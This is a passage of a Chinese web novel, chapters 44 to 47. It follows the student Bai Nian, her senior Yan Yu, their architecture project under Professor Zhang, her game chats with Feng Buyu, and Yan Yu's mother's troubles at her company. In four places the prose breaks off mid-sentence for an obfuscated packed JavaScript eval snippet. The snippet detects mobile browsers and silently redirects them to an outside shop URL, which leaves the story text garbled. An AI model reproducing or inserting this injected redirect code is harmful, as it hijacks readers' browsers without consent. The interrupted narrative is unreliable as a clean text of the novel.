严禹替她选了个距离晋城大学很近的酒店,不算很贵,很干净也很安静,一切都恰到好处,如同他刚才那句询问,让她生不出任何反驳的念头。 白念囫囵冲了个澡,躺倒在柔软的被子里,这荒诞的夜晚才有了些实感。 她躺在床上闭目良久,丝毫没有睡意,翻覆了半晌,终于认命地坐了起来,打开了电脑,在半夜一点登陆了游戏。 风不语的头像意料之中的、安安静静地灰着,距离那个模糊不清的夜晚,白念感觉自己似乎很久没和他聊天了,盯着灰色的神君头像看了许久,她伸出手慢慢打字。 “如果,我是说如果,有些不得不做的事,或者有些不得不见的人,让你觉得痛苦,你会怎么做?” 手指在键盘上摩挲良久,如同手指的主人一般游移不定。 外面又开始下雨了。 白念看了眼被她打开的窗,又看了眼静悄悄的聊天框,在起身关窗的前一秒,按下了发送键。 44. 交易 第二天白念起床的时候,酒店床头柜上的电子时钟正指向清晨六点。 她睁开眼,才发现自己的电脑正摆在手边,游戏界面静悄悄地亮着,她和风不语的聊天界面就这么一直开着,除了她发出去的那句话之外,没有什么动静。 她居然挂着聊天框就这么睡着了。 看样子昨晚风不语没有上线。也是,都凌晨一点多了,谁没事会一直挂在游戏上不休息呢? 看了眼窗外鱼肚白的天空,睡得半饱的白念视线转回到自己那行消息上,突然觉得深夜的自己有些矫情,可是消息撤回不了了,她飞快地又发了一句。 【好友】【早睡身体好:我就是随便一问,不用回答。】 想了想那天接到章以苓电话时,风不语刚上线,她就急匆匆下了线,没有来得及说点什么,白念又补上一句。 【好友】【早睡身体好:这一周临时接到老师的暑期课题,我暂时没空玩游戏了。】 说完才像了却了什么事情一般,放心地关了电脑,以最快的速度洗完澡,拎起东西下楼退了房走出酒店大厅。 晋城是个海岸城市,清晨六点初阳已经越过海平线,半掩在轻浅的云层之后,将海平面上空的天色渲染成浪漫的粉紫渐变,整个城市尚且笼罩在潮气氤氲的迷蒙之中,一切将醒未醒。 白念走出酒店,本来想立刻去解决手机的问题,不然干什么都不太方便。但她抬头看了看周围的商厦,大部分还在沉睡之中,她抿了抿唇,决定先回学校一趟,章老师那儿八点半以前到就可以。 酒店距离学校很近,她步行十几分钟就能到。 打定主意后,白念转身向晋城大学的侧门走去,在她没留意的背后,她刚一离开,身后就有辆车缓缓地停在了酒店门口。 酒店内,前台人员刚办理完退房手续,又坐回原处玩手机醒神,漫长的夜班让她有些疲惫,她枕着靠枕眯上了眼睛。 等她再次醒来已经是半个小时之后,她惊觉自己值班时间开了小差,连忙坐直了身体对着镜子整理了一下仪容,等她修整完毕抬起头来,才发现大厅里不知何时静静坐了一位陌生人。 她连忙起身前去招呼,背对着她的客人身形坐得端正好看,背影清隽挺拔,恰好抬起头往电梯口这边看过来,与她对上了视线。 “您好,请问有什么可以帮您——”前台礼貌的客套顿在口中,这不是昨晚陪同刚刚退房那位女客前来入住的男生吗? 见到她,男生站起身来微微颔首以示礼貌:“抱歉,我在这里等个人。” 前台恍然大悟,语气又犹豫了起来:“您是在等昨晚的同伴吗?可是那位客人已经走了呀。” 男生表情愣怔了一秒,很快又恢复礼貌,向她点头致谢:“好的,谢谢你。” 说完,他拎起放在茶桌上尚且冒着热气的餐盒,大步离去。 . 这几天忙着网吧医院两头跑,白念过得实在有些潦草。这会儿突然空闲下来,她回寝室换了条干净的长裙,将自己收拾得清爽了一些。 然后乘坐地铁往沿途的商城都看了看,终于赶在最后一刻找到一家刚开门的体验店,紧赶慢赶地让店员帮忙看了眼旧手机,确认换屏性价比不高之后咬咬牙买了个新手机。 抵达章以苓工作室时恰好八点半,章老师已经早早坐在工作室鱼池旁的摇椅里喝茶晒太阳,看到她以后笑眯眯从椅子里抬起头:“小白来啦?快去吃早餐,已经准备好了。” 白念往茶桌上一看,师母席婉因正笑吟吟地摆弄餐具,桌上是琳琅满目的餐点,她有点意外地上前帮忙:“这太麻烦您了,我自己在路上随便买一点就行。” 师母摆摆手,将这个处事客气谨慎的小女生引到座位上坐下,把东西推到她面前笑道:“这有什么麻烦的,我们平时各忙各的,只能请阿姨做饭。最近好不容易有空,我正好借着机会练练我的厨艺,你们这几天就让我多动一动,快尝尝看。” 白念在她满含期待的目光中低下头去,夹起一片单面煎得金黄酥脆的煎蛋轻轻咬了一口,金红色的蛋液就沿着齿缝迸了出来,醇厚的流心和酥脆的外皮让人唇齿留香。 她惊讶地眨了眨眼睛:“好吃。” 师母十分开心地轻拍了下手掌:“看来我的技艺还没有生疏呢。” 章以苓踱步过来,接受了一片来自妻子的投喂,吃完后酸溜溜道:“你们不来我都吃不到你师母做的东西。” 席婉因笑着擂了他一拳:“谁让你出门那么早,我才懒得起来。再说了,你跟小孩们比什么,阿禹的胃不是好不容易才养好么,来我们这吃不好的话我怎么跟小雅交代?” “要跟我妈交代什么?”门外有声音顺着席师母的话稳稳接上,三人循声望去,是严禹推开了工作室的玻璃门。 白念放下了手中的早餐,抬起头便看见严禹从她面前走了过去,向长辈们点头问好后,又把目光投向她。 白念立刻低下头去吃东西,刻意避开那道深邃的目光。 和昨晚一样的凝定温和的目光。 “你今天来得有点晚哦?路上堵车了吗?”席婉因往白念旁边放了个餐盘,示意严禹坐下,还好奇地偏了偏头:“手里拎得什么呢?” 严禹下意识将头往白念这边转了一下,又很快顿住、收回,将手里的东西往白念看不见的另一侧偏了偏:“嗯,有点堵车。没什么。” 白念距离他近,倒是闻到了他身侧一股极为浅淡的奶香,还带着温热的气息,她没有多想,几不可察地往另一侧轻微地挪了挪,想拉开一点距离。 严禹接东西的手微微一滞,又很快恢复正常,接过盛着豆浆的玻璃杯后,也极为隐匿地往旁边挪了一点儿。 白念悄然松了口气。 席婉因给自己夹了片焦香的吐司,坐下来接着严禹刚进门的话,笑吟吟地谈起了日常:“我们在说你呢,你小时候不知道是什么原因,胃老是出毛病,也不爱吃饭,给你妈妈愁得不得了,半大的孩子细瘦得跟个猴儿一样。只有每次来我们这儿时候胃口好些,就爱吃我做的饭。” 严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屏幕上赫然是一个橙黄色的转账记录。 白念咧了咧嘴,笑得生疏客气:“上次在医院的医药费,昨晚订房间的钱,还有其他杂七杂八的一些……对了,师兄你的衣服……我没查到是什么牌子的,方便告诉我一下价格吗,我重新买一件赔给你。” 严禹没有再看一眼屏幕,也没有动,就这么静静地望着她,白念暗自绷起颈背、屏着呼吸等他收下。 收下她的等值赔付,关于所有的一切好意,然后各自遗忘所有。 经过极为难堪的一晚,这是她得出的最安全、最友善、最能够令她舒适的解决办法。 严禹喉结缓慢地滚动一下,微微动了动唇,没有开口,再次深深地将她看了一眼,蓦地站起身来,长腿一迈,快步跨出了工作室的门,留下被随手一拨的玻璃门在里外摇摆。 白念咬住了唇,浑然不觉齿间唇瓣已经泛起苍白的颜色。 我只能这么做,她想。 45. 和好 “吃饭咯──” 工作室的门再次被推开,席师母探进来一个脑袋,小声招呼忙碌的几个人去吃午饭。 帮忙摆放碗筷的空档,章教授探头看了一眼外头,顺口问了一句:“阿禹呢?怎么还没过来?” 白念透过餐厅落地窗往外看了看,外面的花园里一个人影也没有,她低下头轻轻回了一句:“不知道。” “没事儿,咱们先吃,我给他打个电话。”席师母擦了擦手,就要去拿手机。 白念捏着筷子想了想,终究还是拿起了手机:“师母,我来吧。” “也行。”席婉因笑眯眯地收回手,“那你给他说。” 白念起身走到窗边,本想给他打电话,这才发现自己并没有对方的号码,她点开微信,找出了严禹的微信,给他发了条消息。 n:师兄,吃饭了。 两秒之后,顶端严禹的备注名替换成了一个“正在输入中”的动态。 白念又继续打字。 n:师母让我叫你一声。 正在输入中的状态蓦地熄灭,对面沉默了半晌,状态才重新滚动起来,下一秒消息亮起。 严禹:知道了。 三个人吃了一会儿,大厅的门终于被推开,严禹走了进来,顺手把车钥匙放在柜子上去洗手,席师母好奇问了句:“阿禹你开车出门了?有什么事吗?” 严禹已经擦干净手走过来,拉开白念身旁的椅子,刚要坐下,突然想起什么似的,自己往离她更远的方向挪了一把,才坐了下来,垂着眼睛回答:“没什么,方案没灵感,出去转转。” 席婉因看着他推椅子的动作,下意识往白念这边看了看,只看见一个埋着头吃饭的低低的脑袋。 她又看了眼严禹,男生也夹了点菜垂着眼睛沉默。 昨天还好好的两个孩子,现在却异常古怪。 席婉因咽下嘴里的东西,觉得自己看明白了什么,转过头去盯着自己的丈夫。 章以苓伸手夹菜的筷子顿在半空:“你看我做什么?” 然后就看见自己的妻子莫名其妙地瞪了他一眼:“做项目就做项目,老为难孩子们做什么?” 无缘无故被凶了一顿的章以苓:? 一顿饭吃得鸦雀无声,最终以严禹先放下筷子作结,他站起身来向其他三个人低声道:“我吃好了,慢用。” 白念看着他离开的背影,手指无意识地抠了抠筷子,也跟着放下东西道了别,跟着走出门去。 严禹已经回到工作室,打开电脑开始绘图,看到她跟着推门进来,抬头看了一眼,又面无表情地低下头去,看向自己的屏幕。 白念站在门口看了明显不想理她的男生一眼,有点无措。 她能感受到严禹在生气,但她不知道他在气什么,她只是不想欠他人情,这并没有什么问题。 轻轻蜷缩了下手指,她终究没有说什么,只是走到自己的电脑前坐下,打开绘图软件,想专心投入工作。 努力了半晌,平时烂熟于心的快捷命令和符号却仿佛密密麻麻的蚂蚁一般,在她眼前爬来爬去,身边这尊无声的大佛给予她的存在感实在太过于强烈,她有点看不进去。 她莫名地想打开游戏看一眼。 一旦情绪不佳,她就会躲进游戏发泄,这么多年她一向是这么做的。此刻如此安静的氛围里,她逃进虚拟世界的欲.望更是空前强烈。 看了一眼时间还早,白念果断登陆了游戏。 “锵——”清越的登陆音效立刻响起,她这才想起来自己没带耳机,连忙伸手去按静音,悄悄看了眼身旁人,似乎没什么反应。 她咬了下唇,自己关声音的速度应该还挺快的吧?这么想着,她轻轻把自己的屏幕往旁边侧了侧,放下心来。 游戏画面加载完毕,她下意识就去看好友列表。 置顶的头像一直灰着。 白念深呼吸两下,莫名地有些气闷。 她关掉好友列表,站在热热闹闹的宁安城中心广场上,头一次不知道干点什么好。 手指摩挲键盘思忖半晌,她决定去竞技台找个倒霉蛋揍一顿……哦不,切磋一下。 打定主意,她抬腿就走,正在这时,头顶的消息条却开始滚动起来。 【您的好友风不语上线了。】 她正在扒拉竞技场上密集的人头,想寻找个能打的对手,看到消息蓦地一顿,手速快过脑速地点开了聊天框。 下一秒风不语的消息就如期而至。 【好友】【风不语:不论是人或事,如果无法逃避,那就解决痛苦。】 他在回答前天夜里白念提出的问题。 白念将这句话在脑海中反反复复地咀嚼几遍,觉得自己矛盾不已。 一方面,她自己都想不清楚的问题,却把这种缥缈的信任寄托在一个丝毫不了解状况的外人身上;一方面,风不语的话却又给了她莫名的信心。 至少此刻她是坚定而平静的,她打字回复。 【好友】【早睡身体好:谢谢。】 【好友】【风不语:我这周也有事,你忙就好,不用管我。】 【好友】【早睡身体好:好。】 【好友】【风不语:这两天没上游戏,回复迟了,抱歉。】 【好友】【早睡身体好:没事。】 聊天框遮住了游戏界面的大部分视野,下一秒,她的屏幕突然变暗,她关掉聊天一看,自己被人在竞技场开启了强制PK,她没有操作自动挂机,已经被对面的剑尊打趴下了。 【系统】【玩家撩一下就跑在竞技场中击败了玩家早睡身体好,胜而不骄,败而不馁,来日江湖再战!】 白念:…… 风不语大概也看到系统播报了。 【好友】【风不语:你在竞技场?】 【好友】【早睡身体好:嗯……跟你聊天没注意被人强P了。】 【好友】【风不语:我的错,带你揍回去要不要?】 白念轻轻笑了下,他总是这样……无条件的顺从她的心意。 【好友】【早睡身体好:走。】 两人光速组队,白念眼疾手快地逮住了偷袭完她就想溜的手欠玩家,下一秒就点进了PK界面。 刚刚还在世界上得意洋洋炫耀自己击败了剑尊第一的男玩家光速滑跪。 【当前】【撩一下就跑:对不起我错了,我就是看你一动不动手贱点了一下,怎么还夫妻混合双打啊???求放过TAT】 白念还没打字,一旁的白衣神君已经率先发声。 【当前】【风不语:算你倒霉。】 【当前】【撩一下就跑:???不要啊!!!】 他哀嚎还没结束,准备倒计时已经归零,风不语甚至煞有介事地给白念套了个真杀buff,白念看了眼自己金光闪闪的长剑,又看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025219|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼对面瑟瑟发抖的脆皮剑尊,啧了一声。 杀鸡用牛刀。 她飞身上前,哐哐两剑,三下五除二放倒了面对他俩毫无还手之力的男剑尊,轻飘飘收起剑回到风不语身边,对着即将消失的玩家尸体慢悠悠打字。 【当前】【早睡身体好:确实,算你倒霉。】 【当前】【撩一下就跑:呜呜呜呜呜呜呜呜】 白念心情颇好地勾了勾唇。 【队伍】【风不语:还打吗?】 【队伍】【早睡身体好:打。】 她现在就想发泄一下。 【世界】【风不语:竞技场双人组队PK,随便来。】 此话一出,很多热爱PK的好战分子纷纷应战,开玩笑,这种和顶级高手对战还不会掉经验条的机会可不多。竞技场瞬间围满了人,白念的界面上跳出了无数条PK申请。 她随便挑了一个同意。 半小时后,白念负手看着场下被他们揍得一片哀嚎的玩家,心满意足地敲字。 【好友】【早睡身体好:差不多啦,不打了。】 【好友】【风不语:心情好些了吗?】 白念一愣,他怎么知道自己心情不好。 仿佛知道她在想什么似的,对方下一句就跳了出来。 【好友】【风不语:刚才有人一句话不超过两个字。】 白念往回翻了翻自己的消息,扑哧一笑,还真是。她含着微微笑意打字。 【好友】【早睡身体好:好多了,谢谢~我得下了,下午要做课题。】 【好友】【风不语:嗯,去吧。】 白念刚要退出,对面又补充了一句。 【好友】【风不语:我下载了万古令,以后不会再看不到你的消息了。】 自从表白之后,风不语说话直白了很多,白念轻轻笑了一下。 【好友】【早睡身体好:知道了。】 【好友】【风不语:还有你之前问的问题,也许我可以帮到你。你可以试着,相信我。】 白念退出的动作短暂地停了一下,她深深地看了一眼最后三个字。 万古令,就是《万古》游戏的手机令牌,是一个可以用来在手机上快速地查攻略、逛论坛、发消息的app。 她勾了勾唇。 【好友】【早睡身体好:好。】 退出游戏,屏幕暂时性地黑了一秒,白念在上面看到了自己清晰的倒影,屏幕里的她脸上挂着清浅的笑意,是她自己也很少看到的柔软。 她的心情非常有效地好了起来。 身侧的严禹轻轻点了点鼠标,短暂地吸引了她的注意,她下意识侧过头去看了一眼,他的屏幕也黑着,不过很快又回复了正常,显示出他绘图的软件界面来。 她刚要收回目光,严禹轻轻推过来一杯清爽的柠檬气泡水,她又疑惑地看了回去。 “转账我收了,刚才我心情不好,对不起,不该对你发脾气。” 他又推了推柠檬水,零星的小气泡在水里炸开,发出噼里啪啦的清脆响声,带着清冽好闻的味道:“刚才出去买的,算作……赔礼?” 他眼里又恢复往日那种温和平静的意味。 白念松了口气,接过冰冰凉凉的杯子,喝了一口,酸酸甜甜,很好喝。 她抬起头冲着严禹弯了弯眼睛,仿佛是她的错觉,她觉得男生的心情显而易见地好了起来。 46. 对比 不知道是不是因为中午在游戏里逮着别人揍了一顿的缘故,白念整个下午心情都不错,效率也很高。 整个工作室里除了鱼池的潺潺流水声泠泠作响,就是两个人专心致志画图的声音,铅笔在草图纸上沙沙划过,勾勒出宁静又安定的氛围。 办公楼的设计说复杂也不复杂,只要遵循各项建筑设计规范,剩下的就是个人审美的事。三个小时过去,白念面前的白纸上已经出现了完整的办公楼平立面和鸟瞰图。 她最后看了一遍,确认自己的想法已经表达得差不多,率先放下笔,长舒一口气,扭头看了一眼一旁安安静静的严禹。 男生修长白皙的食指和中指正轻轻捏着笔杆,凝视着自己勾勒出的方案默默出神,随手用笔头轻点着图纸。 西侧将落未落的太阳透过玻璃墙斜射进来,把男生细碎的额发投影到了白念的草图上,与她寥寥几笔勾画出的树景重叠在一起,迎着浅金色的夕阳一起在画面上簌簌抖动,好似给枝丫添上了淡色的花叶,整个画面陡然生动起来。 白念眨了眨眼,没有出声喊他,而是莫名地伸出手去,轻晃指尖想要拨动这方波光嶙峋的摇曳碎影。 “在干什么?”男生轻浅的嗓音在耳畔响起,白念转过头去,严禹正盯着她玩心四起的指尖,背光的眉目朦胧深邃。 她很快地收回手,掩饰自己在等候期间的幼稚举动,状若无事地笑了笑:“没什么。师兄你好了吗?” 男生将凝视着她指尖的目光收回,轻轻点头:“嗯,刚才走神了,你好了么?” 白念点点头,严禹起身将埋头看书的章以苓叫过来,挨个把方案看过去,白念攥着手大气不敢出。 她毕竟才大一,很缺乏设计经验,和已经手握国际金奖的严禹肯定是没法比,只希望自己的东西能有点可取之处。 这么想着,她好奇地勾头往严禹的图面上看了一眼,随即瞪大了眼睛。 说是初步方案的草图,但他的图面完成度非常之高,短短的三个小时内,画完了整栋办公楼的平立剖视图和整体鸟瞰图不说,甚至还进行了线稿上色和细节放大引注,线稿的线条疏狂有力,而上色虽然只是用的铅笔,画面色彩的层次感依然很鲜明。 白念咂舌之余,又低头看了看自己的图纸,说是草图……就真的只是草图,把方案简简单单地画出来就算,简简单单的线条,多余的一点没有。 头一次感受到自己和别人的差距,白念直白的眼神出卖了她此刻震惊的心情,饭桌上才被妻子凶过的章以苓怕一会儿又被告状打击学生,咳嗽一声开口:“初学者能把方案画完已经很不错了。” 白念吃惊也就是一瞬间,她心态很平稳地点点头:“嗯。” 一旁的严禹也看见了她的方案,向她投来赞许的目光,白念轻轻笑了下示意自己没多想。 两个方案都细细看完,章以苓坐到他们两人的对面,端着茶杯慢悠悠地开口:“你们俩各自评价一下吧,谁先来,小白?” 白念牙疼地嘶了一声,章老师果然如传言一般,很能在方案上折腾学生,她犹犹豫豫地看了眼严禹那边,男生恰好转过头与她对视了一眼,好像是看懂了她的为难,率先开口解围:“我先吧。” 白念松了口气,看着严禹从座位上站起来,走到她的身侧站定,无声地将她的方案仔细看了一遍,距离太近,他身上陌生的清冽味道通过空气传到她的鼻尖。 和那天晚上她揪着他的衣领埋在他胸前闻到的一样。 白念顶着两个人的目光,悄悄不自在地摸了摸鼻子。 男生缓缓开口:“设计整体完成度不错,没有硬性错误,视图表达得也很完整。至于方案——”他沉吟片刻,像是在寻找一个准确的词语,两秒后继续说道,“很锋利。” 白念诧异地扭过头看了一眼身侧的男生,惊讶于他的评价,不知道他的意思是好是坏。 男生垂下眼来看她,勾了勾唇:“和本人外表不相符的锋利,但是不错。” 白念张了张口,微楞。 对面的章以苓点点头,笑眯眯地肯定:“是的,方案如人,小白看起来是个乖乖的小女生,但是下笔一点不露怯,设计很大胆。作为晋城新区的办公建筑,常规思路是稳重求胜,我那个学生他们做的方案就是这个路数,中规中矩不会出错。所以我说嘛,他们就是工作久了,心气都磨没了。胆量还不如一个刚学一年的孩子。” 他把目光投向白念的图纸,上面赫然是一个高耸尖锐的长方体变体,作为一个办公楼来说,这样非常规的外形设计给人的视觉冲击力很强,甚至像一柄尖锐的武器,充满了攻击性。 白念咬着唇,忐忑地笑了下,等待章以苓的下文。 章以苓手指点点她的图,笑得轻松:“不过创意也是为内容服务的,这个办公楼在新区入口,太过标新立异可能过审难度会大一些。” 白念刚提起来的几分期待沉了下去,她瘪了瘪嘴。 “难度大不代表不能。”身侧严禹低沉的嗓音适时响起,“而且她的内部空间设计其实很细致平和,没有受到外形的任何影响。” 白念微微愣怔片刻,章以苓笑了笑:“你抢我的话干嘛。这就是小白这个方案难得的地方,外刚内柔,她把创意和实用结合得很好,要说有什么缺点的话——就是大胆有余,经验不足,所以细节稍微有些生涩,不过这是小问题。” 白念悄悄松了口气,没注意身后的男生垂眼看到她紧绷的脊背轻轻放松下来后,嘴角几不可察的笑意。 “好了,那小白呢?到你了。”章以苓点她。 左右逃不过这一出,不过有了刚才严禹的打样,她已经知道该怎么说,也没有多复杂。 白念刚要起身走到左边去看图,严禹已经手长脚长地快她一步把图纸挪了过来,放到她面前。 章以苓终于看出了些什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042564|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不着痕迹地抬头看了一眼面前的男生,高深莫测地朝他挤了挤眼睛。严禹眼神与他对视上,面不改色地偏过视线,低下头去看身前的女生,没有理他。 白念看着放到自己眼前的图纸,没有了第一眼的震惊,开始仔细观察他的设计。 严禹没有做中规中矩的处理,他也采用了异形楼体,唯一不同的是,他设计的是纯白色曲线建筑,同时借助资料在旁边快速勾勒出了周边的现状建筑作为参照,相比白念,有效地将特殊的造型融合到整体环境中,独特又协调,大气而脱俗。 白念在心里给这个方案打了高分,思量着开口:“同样是创新设计,但是和城市风格融合得很好,纯白色的曲线造型比较大气中正,减弱了异形带来的冲击力,唔……没什么缺点。” 章以苓轻轻摇了摇头:“没有缺点吗?” 白念又仔细看了眼他的图纸,心中犹犹豫豫了半晌,才试探着开口:“非要说的话……内部结构设计得有点奇怪。” 章以苓一眯眼,坐直了身体追问:“哪里奇怪?” 白念不是很确定:“感觉空间流线有点模糊,给人的秩序感不是很……强?” 章以苓暗暗点了点头,抬起头与严禹对视上:“阿禹,你感觉出来了吗?” 严禹目光在两个方案中游移,闻言点了点头承认:“没错。” 章以苓叹了口气:“小白的直觉很敏锐。你的设计很好,但每一次内部空间给人的感觉都有些模糊,按照功能来说是没什么问题,只是一种……感觉,我不知道你是哪里出了问题。” 白念转过头去看严禹,男生很诚恳地颔首:“我会加强对内部空间的训练。” 章以苓皱了皱眉:“不是训练的问题……” 他欲言又止,最终还是没有说什么,站起身来询问两个学生:“要敲定一个方案做深化,你们自己怎么选?” “她的。” “他的。” 两人异口同声地开口,章以苓啼笑皆非,一副不出我所料的样子啧了一声,在两个学生中间徘徊半晌,最后看了看严禹平静的脸一眼,垂下眼宣布:“那就我来拍板吧,用这个。” 他手中喝完的茶杯稳稳地往桌上一放,白念抬头看过去,放在了严禹的图纸上。 严禹张了张口,还没来得及出声反驳,章以苓一抬手打断了他的话,深深地看了他一眼:“就这样,下班。” . 吃完饭目送俩孩子离开时,席婉因盯着严禹的背影问了一句:“为什么阿禹整顿饭都很沉默?” 章以苓一脸看破的样子:“大概是想让我选小白的方案吧。” “那为什么选他的?” 章以苓看着严禹的车启动消失在道路尽头,回过头看向自己的妻子:“我也不知道,大概是——” 席婉因追问:“是什么?” “大概是,想让小白帮忙寻找一个答案吧。” 47. 秘密 “到了。” 车辆稳稳停在晋城大学南门,这是通往学生宿舍区最近的校门。严禹转过头来,看了眼冲着车窗外发呆的女生,轻声提醒她。 白念回过神来,连忙道了声谢,解了安全带,拎着电脑包下车。 经过早晨那段隐秘的不愉快之后,两个人心照不宣地维持住了一个友好的氛围,白念没有再尝试拒绝严禹的“顺路”送她,吃完饭拎了包大大方方上车了。 一切似乎重新步入了正规。 “师兄再见,路上小心。” 她轻轻关上车门,微笑挥手和严禹道别后,转身向寝室楼走去。手机短暂地震动了一下,有新消息提示,白念掏出手机查看。 屏幕上显示出一串陌生的号码,她点开了短信。 【你以为拉黑我们就能万事大吉了吗?】 白念猛地停住了脚步,她又重新退出去看了看这串号码,IP显示来自云城。 森冷的恨意顺着指尖爬到脊背,忍住瞬间涌上喉咙的恶心,她冷着脸一个一个敲字。 【有话直说。】 这条消息发出去后,直到白念攥着手机回到寝室,也再没有回复。她放下东西,把自己投进椅子里,闭上眼睛平复心绪。 手机在寂静中终于响起,白念睁开眼睛,凝视着空白的天花板看了两秒,才拿起手机点开短信。 是一条网址链接。 白念厌恶地皱了皱眉。有话不说,这些偷偷摸摸上不了台面的小动作让她有些反胃,她看了两眼这条链接,平静地退了出去,再次把刚才的陌生号码连同短信内容一起,打包丢进了黑名单。 懒得浪费时间。 做完这些后,她退出短信界面,盯着自己新下载的万古令看了两秒,打开软件登录账号,然后同步聊天记录,点开了好友列表置顶的神君头像。 【好友】【风不语:如果无法逃避,那就解决痛苦。】 她盯着这句话反反复复看了许多遍,才将胸口那股吐不尽的郁气压了下去,打开搜索引擎,缓缓输入她的问题。 认认真真把搜索结果翻看了许多页,直至夜深,白念才揉了揉肩膀,放下手机去洗漱。 亮着的手机屏幕里是几个醒目的标题。 【如何在法律层面上与父母断绝亲子关系?】 【父母没有尽到抚养义务,子女可以断绝关系吗?】 …… 严禹并没有立刻离开,他把车停在原地,静静目送女生走进校门,回归到热闹喧嚣的人群之中。 那天晚上白念那样孤立无援的状况,他不想再让她遇见。 确认没什么问题,他收回目光,准备驱车回家,低沉的引擎声响起,黑色的车辆安静地驶离晋城大学。 车辆消失在道路尽头的下一秒,原本停靠区域的树丛后缓缓走出一个人,盯着远去的车影看了许久,脸上若有所思。 她低下头去,将已经编辑好的短信点击发送,却收到一个红色的感叹号。 女人冷笑一声,又抬头看了看消失的车辆,收手离开。 . 严禹回到家已经是晚上十点多,客厅里灯光明晃晃地亮着,沙发上却只有唐老太太一个人坐着,电视剧安安静静地陪着她播放着。 “外婆,我回来了。”严禹换了鞋走过去给老人家打招呼,左右环顾了一圈,“我妈还没回家吗?” 唐老太太摇了摇头,皱着眉回忆了一下:“她下午打电话回来说有点急事,要晚点回。” 严禹给唐雅拨了个电话,无人接听,他走回玄关穿鞋,向沙发上的老太太轻声交代道:“外婆,我去公司看看,您早点休息。” 转身拉开门,却恰好和举着手机回拨的唐雅撞上。 “儿子你去哪儿?”唐雅挂断电话,抬头看自己正要出门的儿子。 严禹顿了顿,上下看了看唐雅,除了脸上有些疲色之外一切正常,放下心来回道:“你没接电话,我本来想出去看看。” 唐雅叹了口气,换了鞋往客厅走去,轻声吐槽:“我没事,只是公司今天出了点意外。” 严禹给她倒了杯水,问了一句:“怎么了?” 唐雅接过水翻了个白眼:“你还记得张云峰那个侄子吗?” 严禹点点头,张嘉成,那个在公司混吃等死、上次城西开发案中被张云峰那个老头硬要往项目里塞的二世祖。 “他今天把我手底下的人给打了。”唐雅喝了口水,眼里淡淡的厌恶情绪,“给他稳稳当当做个小主管还不安分,老想着染指核心事务。” 沙发上看电视的唐老太太听了一耳朵,惊讶地回过头来:“打架了?没事儿吧?” 唐雅啧了一声,这才发现自己母亲还没睡觉,立刻噤声从沙发上爬起来,把老太太推回了房间:“没事儿没事儿,好着呢,妈您快去睡,别操心这些啊。” 把老太太房门一关,唐雅才大咧咧地往沙发上一个横躺,轻声骂道:“烦死了。” 身担偌大一个集团的所有事务,唐雅向来很能调度好一切,严禹很少看到她情绪外泄的时刻,他抿抿唇在旁边坐下,问了一句:“他打的谁?报警了吗?” “田奇,市场部的主管。” 严禹点点头,他知道这个人,早些年唐榕川还在的时候,和自己的父亲一起跟着唐榕川做事,后来就直接跟了唐雅,只是这两年他父亲身体不行了,田奇顶上了他父亲的职位,是唐雅手下得力的年轻助手之一。 “本来报个警该怎么处理怎么处理就完了,但是张嘉成把他从楼梯上推下去,伤得有点儿重。”唐雅叹了口气,“我本来要派田奇去建设公司谈业务,这下去不了了。” 建设公司是唐氏集团下属的一个分公司,刚起步没多久,主要业务向西南区域扩散,正处于开拓市场的阶段。最近开发政策也向西南城市倾斜,所以唐雅找了个市场经验比较丰富、又信得过的人去监督,现在突发意外,想要再找个合适的人,一时还真找不到。 这张嘉成行事再鲁莽,挑这个节骨眼生事,也不由得让人怀疑他背后是否有人指点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050660|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 严禹垂下眼睛想了想问道:“什么时候商谈?” “这周末。”唐雅揉了揉眉心,“最近城西开发项目也很需要人手。” “我去吧。” 严禹沉声开口,唐雅诧异地看了他一眼:“你不是跟着老章做项目去了吗?” “周五就能交出去,我有空。”严禹笑了笑,“不要老是一个人扛,我帮你分担一些。” 唐雅坐起身来,看了眼比自己高出许多的儿子,从前那个……小孩,不知不觉间已经长成了稳重的模样,她眼眶一酸,悄悄低下头去,借着喝水的姿势掩去自己的情绪。 “好啊,那就拜托你了。”她一派轻松地把水喝光,长舒一口气站起身来,“那我去休息咯,你也早点睡。” “好,晚安。” 严禹站起身来,目送自己母亲上楼,不知为何,女人的脚步略显仓促,仿佛急着离开他的视线,他轻声开口:“妈。” 